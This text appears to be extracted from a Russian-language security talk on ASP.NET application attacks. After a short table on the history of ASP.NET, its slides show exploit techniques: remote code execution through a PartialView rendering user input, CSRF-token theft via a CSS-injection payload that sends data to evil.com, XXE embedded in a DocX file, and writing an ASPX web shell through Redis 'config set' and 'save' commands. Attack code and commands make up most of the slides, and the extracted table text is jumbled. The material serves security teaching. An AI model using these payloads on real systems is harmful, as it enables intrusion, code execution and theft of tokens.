2. История развития
Технология Сильные стороны Слабые стороны
Active Server
Pages, ASP
Общая цель Интерпретируется во время
выполнения; поддерживает
"спагетти-код"
ASP.NET Web
Forms 1.0/1.1
Скомпилированный;
UI, поддерживает ООП
Тяжелый по пропускной
способности; сложный HTML;
нетестируемый
ASP.NET Web
Forms 2.0
ASP.NET AJAX Внедрение Ajax Появление неоправданной
сложности. Отсутствие гибкости.
ASP.NET Web
Forms 3.5 – 4.0
ASP.NET MVC
1.0 – 5.0
Полностью меняется
модель разработки.
Появляется гибкость.
Отсутствие кроссплатформенности.
Невозможно компилировать на лету
ASP.NET Core Появляется
кроссплатформенность.
Открытые исходники.
11. 5. RCE в PartialView
Команда, которая рендерит PartialView
@{ Html.RenderPartial("Code", html); }
Controller -
public ActionResult Index(string html = "")
{
ViewBag.Html = html;
return View();
}
Partial view – Частичное представление
@model string
@{
Layout = null;
}
@Model
Index view – Главное представление
@{
string html = ViewBag.Html.ToString();
}
@{ Html.RenderPartial("Code", html); }
13. 6. CSRF & CSS Injection
Валидный токен:
<input type="hidden"
name="__RequestVerificationToken"
value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhfl
M423Z5JKkVPciRopfgcPau5tj" />
Хекерский токен:
<input type="hidden"
name="__RequestVerificationToken"
value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
Нагрузка для кражи токена через CSS (не XSS):
CSS Injection
%0A{}*{color:red;} - Test
<div id ="s"> secret <style type ="text/css">
div #s:: -webkit-scrollbar-track-
piece:vertical:increment {
background: red url(//evil.com?s);
}
* {-o-link:'javascript:alert(1)';-o-link-source: current;}
14. 7. XXE в DocX
<!DOCTYPE file SYSTEM "file://C:Temp1.txt">
unzip xxe.docx
zip -u xxe.docx [Content_Types].xml
public ActionResult Index(string url)
{
doc = DocX.Load(url)
ViewBag.Xml = doc.Text.ToString();
return View();
}
16. 8. RCE через Redis
config set dir DIRNAME
config set dbfilename asd.aspx
flushall
set c '<%@ Page Language="C#"
AutoEventWireup="true"
CodeBehind="asd.aspx.cs" %><%
System.Diagnostics.Process.Start
("calc.exe"); %>'
save
<%@ Page ContentType="text/html"
validateRequest="false"
aspcompat="true"%>